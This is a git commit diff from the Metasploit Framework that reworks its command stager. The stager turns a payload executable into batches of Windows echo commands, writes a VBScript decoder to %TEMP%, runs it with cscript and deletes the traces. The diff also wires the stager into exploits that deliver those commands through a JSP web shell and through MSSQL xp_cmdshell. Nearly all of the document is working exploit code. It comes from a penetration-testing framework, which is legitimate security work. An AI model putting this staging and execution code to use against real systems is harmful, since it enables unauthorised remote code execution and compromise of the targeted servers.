big update to cmd stager
1. returns array of commands instead of big blob of lines 2. combine lines together when possible (to reduce # of commands to execute) 3. add cmd stager usage in mssql_payload 4. remove extraneous stuff here and there git-svn-id: file:///home/svn/framework3/trunk@8721 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
d8818fc268
commit
73da75a931
|
@ -14,7 +14,7 @@ module Exploit::CmdStager
|
||||||
#
|
#
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super
|
super
|
||||||
@cmdstager = nil
|
@cmd_list = nil
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
@ -34,37 +34,25 @@ module Exploit::CmdStager
|
||||||
end
|
end
|
||||||
|
|
||||||
cmdstager = Rex::Exploitation::CmdStager.new(pl, framework, los, larch)
|
cmdstager = Rex::Exploitation::CmdStager.new(pl, framework, los, larch)
|
||||||
cstager = cmdstager.generate(opts, linelen)
|
cmd_list = cmdstager.generate(opts, linelen)
|
||||||
|
|
||||||
if (cstager.nil?)
|
if (cmd_list.nil? or cmd_list.length < 1)
|
||||||
print_error("The cmdstager could not be generated")
|
print_error("The command stager could not be generated")
|
||||||
raise ArgumentError
|
raise ArgumentError
|
||||||
end
|
end
|
||||||
|
|
||||||
@cmdstager = cstager
|
@cmd_list = cmd_list
|
||||||
return cstager
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
#
|
#
|
||||||
# Show the progress of the upload (XXX: uses printf/print)
|
# Show the progress of the upload
|
||||||
#
|
#
|
||||||
def progress(total, sent)
|
def progress(total, sent)
|
||||||
|
|
||||||
done = (sent.to_f / total.to_f) * 100
|
done = (sent.to_f / total.to_f) * 100
|
||||||
|
if (done.to_f < 99.00)
|
||||||
if(done.to_f < 99.00)
|
print_status("Command Stager progress - %3.2f%% done (%d/%d bytes)" % [done.to_f, sent, total])
|
||||||
printf("\r\e[0K[ cmdstager %3.2f%% done (%d/%d bytes) ]", done.to_f, sent, total)
|
|
||||||
$stdout.flush
|
|
||||||
end
|
end
|
||||||
|
|
||||||
if(done.to_f > 99.00 && done.to_f < 100.00)
|
|
||||||
# just to beautify output so the handler output will kick in
|
|
||||||
print "\r\e[0K"
|
|
||||||
$stdout.flush
|
|
||||||
return
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -13,131 +13,119 @@ module Exploitation
|
||||||
|
|
||||||
class CmdStager
|
class CmdStager
|
||||||
|
|
||||||
module Windows
|
|
||||||
Alias = "win"
|
|
||||||
|
|
||||||
module X86
|
|
||||||
Alias = ARCH_X86
|
|
||||||
end
|
|
||||||
|
|
||||||
module X86_64
|
|
||||||
Alias = ARCH_X86_64
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
||||||
def initialize(payload, framework, platform, arch = nil)
|
def initialize(payload, framework, platform, arch = nil)
|
||||||
@var_decoder = Rex::Text.rand_text_alpha(5)
|
@var_decoder = Rex::Text.rand_text_alpha(5)
|
||||||
@var_encoded = Rex::Text.rand_text_alpha(5)
|
@var_encoded = Rex::Text.rand_text_alpha(5)
|
||||||
@var_batch = Rex::Text.rand_text_alpha(5)
|
@var_batch = Rex::Text.rand_text_alpha(5)
|
||||||
@decoder = File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "decoder_stub") # need error checking here
|
@decoder = File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "decoder_stub") # need error checking here
|
||||||
@framework = framework
|
@framework = framework
|
||||||
@exes = Msf::Util::EXE.to_win32pe(@framework, payload.encoded)
|
|
||||||
@linelen = 2047 # covers most likely cases
|
@linelen = 2047 # covers most likely cases
|
||||||
|
|
||||||
platform = platform.names[0] if (platform.kind_of?(Msf::Module::PlatformList))
|
# XXX: TODO: support multipl architectures/platforms
|
||||||
|
@exe = Msf::Util::EXE.to_win32pe(@framework, payload.encoded)
|
||||||
# Use the first architecture if one was specified
|
|
||||||
arch = arch[0] if (arch.kind_of?(Array))
|
|
||||||
|
|
||||||
if platform.nil?
|
|
||||||
raise RuntimeError, "No platform restrictions were specified -- cannot select egghunter"
|
|
||||||
end
|
|
||||||
|
|
||||||
CmdStager.constants.each { |c|
|
|
||||||
mod = self.class.const_get(c)
|
|
||||||
|
|
||||||
next if ((!mod.kind_of?(::Module)) or
|
|
||||||
(!mod.const_defined?('Alias')))
|
|
||||||
|
|
||||||
if (platform =~ /#{mod.const_get('Alias')}/i)
|
|
||||||
self.extend(mod)
|
|
||||||
|
|
||||||
if (arch and mod)
|
|
||||||
mod.constants.each { |a|
|
|
||||||
amod = mod.const_get(a)
|
|
||||||
|
|
||||||
next if ((!amod.kind_of?(::Module)) or
|
|
||||||
(!amod.const_defined?('Alias')))
|
|
||||||
|
|
||||||
if (arch =~ /#{mod.const_get(a).const_get('Alias')}/i)
|
|
||||||
amod = mod.const_get(a)
|
|
||||||
|
|
||||||
self.extend(amod)
|
|
||||||
end
|
|
||||||
}
|
|
||||||
end
|
|
||||||
end
|
|
||||||
}
|
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
# generates the cmd payload including the h2bv2 decoder and encoded payload
|
|
||||||
# also performs cleanup and removed any left over files
|
#
|
||||||
|
# Generates the cmd payload including the h2bv2 decoder and encoded payload.
|
||||||
|
# The resulting commands also perform cleanup, removing any left over files
|
||||||
|
#
|
||||||
def generate(opts = {}, linelen = 200)
|
def generate(opts = {}, linelen = 200)
|
||||||
@linelen = linelen
|
@linelen = linelen
|
||||||
cmd = payload_exe
|
|
||||||
|
|
||||||
return cmd
|
# Return the output from payload_exe
|
||||||
|
payload_exe(opts)
|
||||||
end
|
end
|
||||||
|
|
||||||
def payload_exe(persist = false)
|
|
||||||
|
|
||||||
if(persist)
|
#
|
||||||
opts = {:persist => true}
|
# This does the work of actually building an array of commands that
|
||||||
else
|
# when executed will create and run an executable payload.
|
||||||
opts = {}
|
#
|
||||||
|
def payload_exe(opts)
|
||||||
|
|
||||||
|
persist = opts[:persist]
|
||||||
|
|
||||||
|
# Initialize an arry of commands to execute
|
||||||
|
cmds = []
|
||||||
|
|
||||||
|
# Add the exe building commands (write to .b64)
|
||||||
|
cmds += encode_payload()
|
||||||
|
|
||||||
|
# Add the decoder script building commands
|
||||||
|
cmds += generate_decoder()
|
||||||
|
|
||||||
|
# Make it all happen
|
||||||
|
cmds << "cscript //nologo %TEMP%\\#{@var_decoder}.vbs"
|
||||||
|
|
||||||
|
# If we're not persisting, clean up afterwards
|
||||||
|
if (not persist)
|
||||||
|
cmds << "del %TEMP%\\#{@var_decoder}.vbs"
|
||||||
|
cmds << "del %TEMP%\\#{@var_encoded}.b64"
|
||||||
end
|
end
|
||||||
|
|
||||||
decoder = generate_decoder()
|
# Compress commands into as few lines as possible.
|
||||||
|
new_cmds = []
|
||||||
|
line = ''
|
||||||
|
cmds.each { |cmd|
|
||||||
|
# If this command will fit...
|
||||||
|
if ((line.length + cmd.length + 4) < @linelen)
|
||||||
|
line << " & " if line.length > 0
|
||||||
|
line << cmd
|
||||||
|
else
|
||||||
|
# It won't fit.. If we don't have something error out
|
||||||
|
if (line.length < 1)
|
||||||
|
raise RuntimeError, 'Line fit problem -- file a bug'
|
||||||
|
end
|
||||||
|
# If it won't fit even after emptying the current line, error out..
|
||||||
|
if (cmd.length > @linelen)
|
||||||
|
raise RuntimeError, 'Line too long - %d bytes' % cmd.length
|
||||||
|
end
|
||||||
|
new_cmds << line
|
||||||
|
line = ''
|
||||||
|
line << cmd
|
||||||
|
end
|
||||||
|
}
|
||||||
|
new_cmds << line if (line.length > 0)
|
||||||
|
|
||||||
exe = @exes.dup
|
# Return the final array.
|
||||||
encoded = encode_payload(exe)
|
new_cmds
|
||||||
|
|
||||||
stage = encoded + decoder
|
|
||||||
stage << "cscript //nologo %TEMP%\\#{@var_decoder}.vbs\n"
|
|
||||||
|
|
||||||
if(not persist)
|
|
||||||
stage << "del %TEMP%\\#{@var_decoder}.vbs\n"
|
|
||||||
stage << "del %TEMP%\\#{@var_encoded}.b64\n"
|
|
||||||
end
|
|
||||||
|
|
||||||
return stage
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
def generate_decoder()
|
def generate_decoder()
|
||||||
decoder = File.read(@decoder, File.size(@decoder))
|
# Read the decoder data file
|
||||||
|
f = File.new(@decoder, "rb")
|
||||||
|
decoder = f.read(f.stat.size)
|
||||||
|
f.close
|
||||||
|
|
||||||
|
# Replace variables
|
||||||
decoder.gsub!(/decode_stub/, "%TEMP%\\#{@var_decoder}.vbs")
|
decoder.gsub!(/decode_stub/, "%TEMP%\\#{@var_decoder}.vbs")
|
||||||
decoder.gsub!(/ENCODED/, "%TEMP%\\#{@var_encoded}.b64")
|
decoder.gsub!(/ENCODED/, "%TEMP%\\#{@var_encoded}.b64")
|
||||||
decoder.gsub!(/DECODED/, "%TEMP%\\#{@var_batch}.exe")
|
decoder.gsub!(/DECODED/, "%TEMP%\\#{@var_batch}.exe")
|
||||||
|
|
||||||
return decoder
|
# Split it apart by the lines
|
||||||
|
decoder.split("\n")
|
||||||
end
|
end
|
||||||
|
|
||||||
def encode_payload(cmd)
|
|
||||||
tmp = Rex::Text.encode_base64(cmd)
|
|
||||||
encoded = ""
|
|
||||||
|
|
||||||
buf = buffer_exe(tmp)
|
def encode_payload()
|
||||||
buf.each_line { | line |
|
tmp = Rex::Text.encode_base64(@exe)
|
||||||
encoded << "echo " << line.chomp << ">>%TEMP%\\#{@var_encoded}.b64\n"
|
orig = tmp.dup
|
||||||
}
|
|
||||||
|
|
||||||
return encoded
|
cmds = []
|
||||||
end
|
l_start = "echo "
|
||||||
|
l_end = ">>%TEMP%\\#{@var_encoded}.b64"
|
||||||
protected
|
xtra_len = l_start.length + @var_encoded.length + l_end.length + 1
|
||||||
|
while (tmp.length > 0)
|
||||||
# restricts line length of commands so that the commands will not exceed
|
cmd = ''
|
||||||
# user specified values or os_detect set linelen
|
cmd << l_start
|
||||||
# each line will never exceed linelen bytes in length
|
cmd << tmp.slice!(0, (@linelen - xtra_len))
|
||||||
def buffer_exe(buf)
|
cmd << l_end
|
||||||
0.upto(buf.length) do | offset |
|
cmds << cmd
|
||||||
if(offset % @linelen == 0 && offset != 0 || offset == buf.length)
|
|
||||||
buf.insert(offset, "\n")
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
return buf
|
|
||||||
|
cmds
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -61,33 +61,37 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
false
|
false
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
def exploit
|
def exploit
|
||||||
|
|
||||||
generate_cmdstager()
|
cmd_list = generate_cmdstager()
|
||||||
http_send_cmd({'uri' => "/shell/shell.jsp?cmd=CMDS"}, delay = 0.5)
|
http_send_cmd({'uri' => "/shell/shell.jsp?cmd=CMDS"}, delay = 0.5, cmd_list)
|
||||||
|
|
||||||
handler
|
handler
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def http_send_cmd(opts, delay = 0.5)
|
|
||||||
|
|
||||||
len = @cmdstager.length
|
def http_send_cmd(opts, delay = 0.5, cmd_list)
|
||||||
|
|
||||||
|
total_bytes = 0
|
||||||
|
cmd_list.each { |cmd| total_bytes += cmd.length }
|
||||||
|
|
||||||
sent = 0
|
sent = 0
|
||||||
|
cmd_list.each { |cmd|
|
||||||
@cmdstager.each_line{ |cmd|
|
|
||||||
|
|
||||||
opts.each { |key, value|
|
opts.each { |key, value|
|
||||||
value.gsub!(/CMDS/, Rex::Text.uri_encode(cmd))
|
value.gsub!(/CMDS/, Rex::Text.uri_encode(cmd))
|
||||||
|
|
||||||
resp = send_request_raw(opts, 5)
|
resp = send_request_raw(opts, 5)
|
||||||
value.gsub!(Rex::Text.uri_encode(cmd), 'CMDS')
|
value.gsub!(Rex::Text.uri_encode(cmd), 'CMDS')
|
||||||
|
|
||||||
sent = sent + cmd.length
|
sent += cmd.length
|
||||||
|
|
||||||
# so multi threaded servers can place data in files in the correct order
|
# so multi threaded servers can place data in files in the correct order
|
||||||
select(nil, nil, nil, delay)
|
select(nil, nil, nil, delay)
|
||||||
}
|
}
|
||||||
|
|
||||||
progress(len, sent)
|
progress(total_bytes, sent)
|
||||||
}
|
}
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -78,8 +78,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
|
||||||
cmds = generate_cmdstager({}, 2047, p)
|
cmds = generate_cmdstager({}, 2047, p)
|
||||||
scr = ""
|
scr = ""
|
||||||
cmds.each_line { |ln|
|
cmds.each { |ln|
|
||||||
ln.chomp!
|
|
||||||
scr << " f.writeString('"
|
scr << " f.writeString('"
|
||||||
scr << ln
|
scr << ln
|
||||||
scr << "\\n');\n"
|
scr << "\\n');\n"
|
||||||
|
|
|
@ -15,19 +15,20 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
Rank = ExcellentRanking
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
include Msf::Exploit::Remote::MSSQL
|
include Msf::Exploit::Remote::MSSQL
|
||||||
def initialize(info = {})
|
include Msf::Exploit::CmdStager
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
'Name' => 'Microsoft SQL Server Payload Execution',
|
'Name' => 'Microsoft SQL Server Payload Execution',
|
||||||
'Description' => %q{
|
'Description' => %q{
|
||||||
This module will execute an arbitrary payload on a Microsoft SQL
|
This module will execute an arbitrary payload on a Microsoft SQL
|
||||||
Server, using the Windows debug.com method for writing an executable to disk
|
Server, using the Windows debug.com method for writing an executable to disk
|
||||||
and the xp_cmdshell stored procedure. File size restrictions are avoided by
|
and the xp_cmdshell stored procedure. File size restrictions are avoided by
|
||||||
incorporating the debug bypass method presented at Defcon 17 by SecureState.
|
incorporating the debug bypass method presented at Defcon 17 by SecureState.
|
||||||
Note that this module will leave a metasploit payload in the Windows
|
Note that this module will leave a metasploit payload in the Windows
|
||||||
System32 directory which must be manually deleted once the attack is completed.
|
System32 directory which must be manually deleted once the attack is completed.
|
||||||
},
|
},
|
||||||
'Author' => [ 'David Kennedy "ReL1K" <kennedyd013[at]gmail.com>' ],
|
'Author' => [ 'David Kennedy "ReL1K" <kennedyd013[at]gmail.com>', 'jduck' ],
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
'Version' => '$Revision$',
|
'Version' => '$Revision$',
|
||||||
'References' =>
|
'References' =>
|
||||||
|
@ -44,22 +45,49 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
[
|
[
|
||||||
[ 'Automatic', { } ],
|
[ 'Automatic', { } ],
|
||||||
],
|
],
|
||||||
'DefaultTarget' => 0
|
'DefaultTarget' => 0
|
||||||
))
|
))
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptBool.new('VERBOSE', [ false, 'Enable verbose output', false ]),
|
||||||
|
OptBool.new('UseCmdStager', [ false, "Wait for user input before returning from exploit", true ]),
|
||||||
|
])
|
||||||
end
|
end
|
||||||
|
|
||||||
def exploit
|
def exploit
|
||||||
|
|
||||||
debug = false # enable to see the output
|
debug = datastore['VERBOSE'] # enable to see the output
|
||||||
|
|
||||||
if(not mssql_login_datastore)
|
if(not mssql_login_datastore)
|
||||||
print_status("Invalid SQL Server credentials")
|
print_status("Invalid SQL Server credentials")
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
mssql_upload_exec(Msf::Util::EXE.to_win32pe(framework,payload.encoded), debug)
|
# Use the CmdStager or not?
|
||||||
|
if (not datastore['UseCmdStager'])
|
||||||
|
mssql_upload_exec(Msf::Util::EXE.to_win32pe(framework,payload.encoded), debug)
|
||||||
|
else
|
||||||
|
cmd_list = generate_cmdstager({}, 1500)
|
||||||
|
total_bytes = 0
|
||||||
|
cmd_list.each { |cmd| total_bytes += cmd.length }
|
||||||
|
|
||||||
|
sent = 0
|
||||||
|
delay = 0.25
|
||||||
|
|
||||||
|
cmd_list.each { |cmd|
|
||||||
|
mssql_xpcmdshell(cmd, debug)
|
||||||
|
sent += cmd.length
|
||||||
|
|
||||||
|
# so multi threaded servers can place data in files in the correct order
|
||||||
|
select(nil, nil, nil, delay)
|
||||||
|
|
||||||
|
progress(total_bytes, sent)
|
||||||
|
}
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
handler
|
handler
|
||||||
disconnect
|
disconnect
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
Loading…
Reference in New Issue